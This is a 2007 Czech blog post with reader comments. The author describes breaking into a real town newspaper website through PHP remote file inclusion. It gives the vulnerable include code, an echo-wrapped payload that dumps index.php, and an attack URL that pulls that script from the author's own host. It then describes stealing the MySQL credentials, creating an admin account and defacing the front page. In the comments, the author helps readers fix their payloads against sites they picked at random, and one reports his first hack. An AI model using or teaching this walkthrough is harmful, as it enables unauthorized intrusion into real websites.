Rumburské noviny hacknuty pomocí PHP injection

Tento článek vychází s dvoudenním zpožděním, aby měl autor webu čas opravit popisované bezpečnostní nedostatky.

Z dlouhé chvíle jsem zkusil najít web, který lze napadnout pomocí PHP injection, a během asi půl hodiny se mi to podařilo.

http://rn.rumburk.cz/

Postupně jsem získal zdrojový kód index.php a přístupové údaje k MySQL. Za chvíli jsem si už vytvořil vlastní administrátorský účet a vyvěsil na úvodní stránce stylové "Web hacknut".

Postup

Stránku jsem našel docela jednoduše díky fulltextovému vyhledávání na Seznamu (přesný dotaz ale radši neuvedu). Důležité bylo, aby měla stránka náchylnost k PHP injection, tedy, aby měla URL ve tvaru:

index.php?page=clanek&id_clanku=1592&id_rubrika=82
a aby v kódu bylo něco takového:
include $page.'.php';
Obě dvě podmínky byly splněny, takže jsem se zaradoval a šel na věc.

Nejprve jsem zkusil zadat místo clanek nesmyslný řetězec. Zobrazilo se toto:

Warning: main(bbb.php): failed to open stream: No such file or directory in /mnt/sdd1/www/pages/samosprava/murbk/noviny/index.php on line 83

Warning: main(bbb.php): failed to open stream: No such file or directory in /mnt/sdd1/www/pages/samosprava/murbk/noviny/index.php on line 83

Warning: main(): Failed opening 'bbb.php' for inclusion (include_path='.:/usr/lib/php:/usr/lib/php/libs/') in /mnt/sdd1/www/pages/samosprava/murbk/noviny/index.php on line 83
Což znamená, že cesta k úspěchu je plně otevřená. Kdyby místo main(bbb.php) bylo na stránce napsáno main(./bbb.php), měl bych smůlu. Musel bych zjistit, na jakém hostingu web běží, zřídit si tam doménu a pokusit se o něco typu:
index.php?page=../../../mojedomena/skript&id_clanku=1592&id_rubrika=82
Což by ale bylo dost složité a nákladné a možná by se to ani nepovedlo(pokud má hosting více serverů).

V tomto případě je to ale velice jednoduché. Jelikož je na serveru povolen i URL file-access, mohl jsem jednoduše naincludovat do index.php svůj vlastní skript a dostat tak plnou kontrolu nad webem.

Jediný problém byl v tom, abych se vyhl parsování svého skriptu PHPkem na straně svého hostingu. Pokud se totiž ve zdrojáku objeví include("http://domena/skript.php"), skript se před cestou mezi servery nejdříve prožene parserem prvního hostingu. Je to stejné jako když se do prohlížeče zadá cesta skriptu.

Jedním způsobem by bylo přejmenovat soubor na skript.txt. To ale není možné, protože ve zdrojovém kódu oběti je

include $page.'.php';

Zkusil jsem tedy druhý způsob. Aby výsledkem parsování skriptu byl PHP kód.

<?php
echo '<?php
  show_source("./index.php");
?>';
?>

Příprava hotová, jde se na věc

Stačilo pak nahrát skript na svoji doménu a otevřít URL

http://rn.rumburk.cz/index.php?page=http://milde.cz/test&id_clanku=1592&id_rubrika=82

index.php

Ze zdrojáku index.php jsem si zjistil název souboru s přístupovými údaji k MySQL a zobrazil si ho.

index.php

Pak už jsem se připojil k databázi a zobrazil si tabulky.

index.php

Nejzajímavější je asi tabulka autori.

index.php

Ejhle! Přibyl jim tam právě jeden administrátor.

index.php

Cesta do administrace je tedy volná.

index.php

A je to tu. Úvodní stránka je hacknuta.

index.php

Pak jsem se podíval, kdo vlastně web napsal, a jaké má reference. Po krátkém zkoumání jsem našel tutéž chybu na dalším webu.

index.php

index.php

A XSS na dalším jeho výtvoru.

index.php

Na maily administrátorů jsem poté poslal upozornění na tuto chybu včetně screenshotů a opraveného souboru index.php.

Upozornění

Cílem útoku nebylo poškodit majitele nebo jeho majetek, ale upozornit na bezpečnostní rizika.

Tento článek jsem nepsal, aby sloužil jako návod k poškozování cizího majetku. Jeho úkolem je přiblížit problematiku bezpečnosti ve webových aplikacích.

evaluation

comments

2007-02-15 15:57:51

Hergot, člověče, z tebe by člověk brzo dostal noční můry... Brrr. :D Jinak článek dobrej. ;)

replied by [3] Dundee
[2] Sibep
2007-02-15 16:19:44

me nikdy nenapadlo, ze je to az tak "jednoduche". hned du upravit svoji prvotinu co ted delam :)

replied by [3] Dundee
[3] Dundee
2007-02-15 16:23:27

#1 jouzinka: Vždyť jsem byl na ně hodnej :)

#2 Sibep: JJ, PHP Injection je velmi jednoduché. Horší je to s XSS a SQL injection, to už chce trochu víc znalostí a cviku :)

[4] hbml
2007-02-15 16:37:56

Dundee poklona

2007-02-15 16:53:46

Mno jo, tak to dopadá, když weby dělá každý druhý a rozumí tomu jak koza petrželi.

2007-02-15 17:38:27

Hezky clanek Dundee, zatim jediny, kde se autor nevychlouba touto starou chybou =)

2007-02-16 14:30:39

neříkal jsi náhodou že to necháš týden? Nebo už to je týden? :D

btw kde je článek o tom, že David už zase píše? :)

[8] Dundee
2007-02-16 23:00:38

Počkal jsem jen dokud to neopravěj :)

No s tim Davidem bych to radši moc nevykřikoval, aby ho to chvilkový psaní nepřešlo...

[9] eMVe
2007-02-28 11:45:35

Pokud změníš texty na webu - napíšeš na úvodní stránku HACKNUTO, tak IMHO poškodíš majitele webu i jeho majetek. A to je trestné. Upozornit je lze jinym (privatnim) kanalem.
Toto beru jen jako vychloubání začínajícího "hackera"

2007-02-28 12:32:47

Myslím, že napsat na úvodní stránku "hacknuto", je běžná praxe. Majitel a jejich programátor to brali taky tak. Naopak mi ještě poděkovali.

BTW: Hned po útoku jsem jim poslal opravený skript...

2007-02-28 15:58:07

Tak myslim, ze zas tak narocne nadnout stranky timto zpusobem neni zas az tak slozite. Na webu je toho mraky (navodu). Nic mene dekuji za upozorneni, pac jste me donutil to opravit. Nechal jsem to zatim bejt, protoze se stranky maj v nejblizsi dobe cele obmenit. Dale samozrejme dekuji ze jste nejak nezneuzil informace ktere jste timto ziskal. Ted si budu davat urcite vetsiho majzla:))

Jinak co se tyce toho XSS o kterem pisete tak nemuzu prijit porad na to co jste tim myslel. jestli jste zadal do vyhledavani pouze html tag nebo ten obrazek je vytvoren nejak jinak.

Todle by me opravdu zajimalo:))

replied by [12] Dundee
2007-03-01 14:38:38

#11 chosehero: Ano, tim XSS jsem myslel pouze to, ze nemate osetreny vystup u hledani. Tzn. ze se da na strance zobrazit jakykoliv HTML i JS kod, ktery strance podstrcite. Tato chyba je mnohem hure zneuzitelna, nez PHP injection, ale zneuzit se s trochou sikovnosti take da.

Viz napr. Sysel a jeho hack Zive.cz pomoci XSS.

[13] ;-)
2007-06-10 21:44:29

Mě to prostě nejde udělal jsem si stránky 3. řádu a tam vložil script <?php echo '<?php show_source("./index.php"); ?>'; ?> no a pak jsem šel na nějaký stránky který jsem si našel aby odpovídali jak to popisuješ v bodě jedna no a tam do url zadal
http://www.neco.cz/index.php?page=tam sem napsal odkaz na svoje stránky

KDE SEM UDĚLAL CHYBU ???

[14] Jorg
2007-07-14 09:54:53

Oslové, co puberta?

[15] arnir
2007-07-29 22:08:57

ja to php injektion zkousel taky.
nasel sem deravou stranku, nahral si show source na svuj web, upravil odkaz
a po odklepnuti se do stranky zobrazil zdroj meho indexu!!
zoho kde mam nahrane show source!!
nevis kde je chyba?

replied by [17] Dundee
[16] arnir
2007-07-29 22:09:43

*zoho= z toho

2007-08-05 19:49:40

#15 arnir: Problem je v tom, ze pokud nacitas svuj skript, ktery ma koncovku .php, tak se jeho obsah provede uz na strane tveho serveru. Proto musi byt vystupem toho skriptu chteny php kod.

Staci tedy to, co tam mas ted, dat cele do

echo 'soucasny kod';

[18] arnir
2007-08-10 10:40:06

aha
jako ze to mam udelat treba takto:

echo 'show_source("index.php")'

?

[19] arnir
2007-08-10 13:10:11

tedy jeste plus <?php

[20] arnir
2007-08-10 13:31:29

super
hacknul jsem svuj prvni web :)

[21] arnir
2007-08-10 20:33:44

takhle "nadalku" nelze pouzit funkci fopen, unlink a ani zadnou jinou se soubory ze ano?
me to nejde

replied by [22] Dundee
2007-08-14 09:41:10

#21 arnir: Nevim proc by to nemelo jit. Nedelas totiz nic nadalku. Ten tvuj soubor se normalne naincluduje jako by to byl lokalni skript a pak se spusti. Takze jakekoliv funkce dostupne na tom hostingu, jsou dostupne i tobe.

Zkouset funkce typu unlink ale razantne nedoporucuji. Tento clanek ma ukazat zajimave moznosti a upozornit na chyby, rozhodne ale nema navadet k poskozovani cizich dat.

[23] house
2008-03-23 23:56:27

zajímavé ;)image

comments closed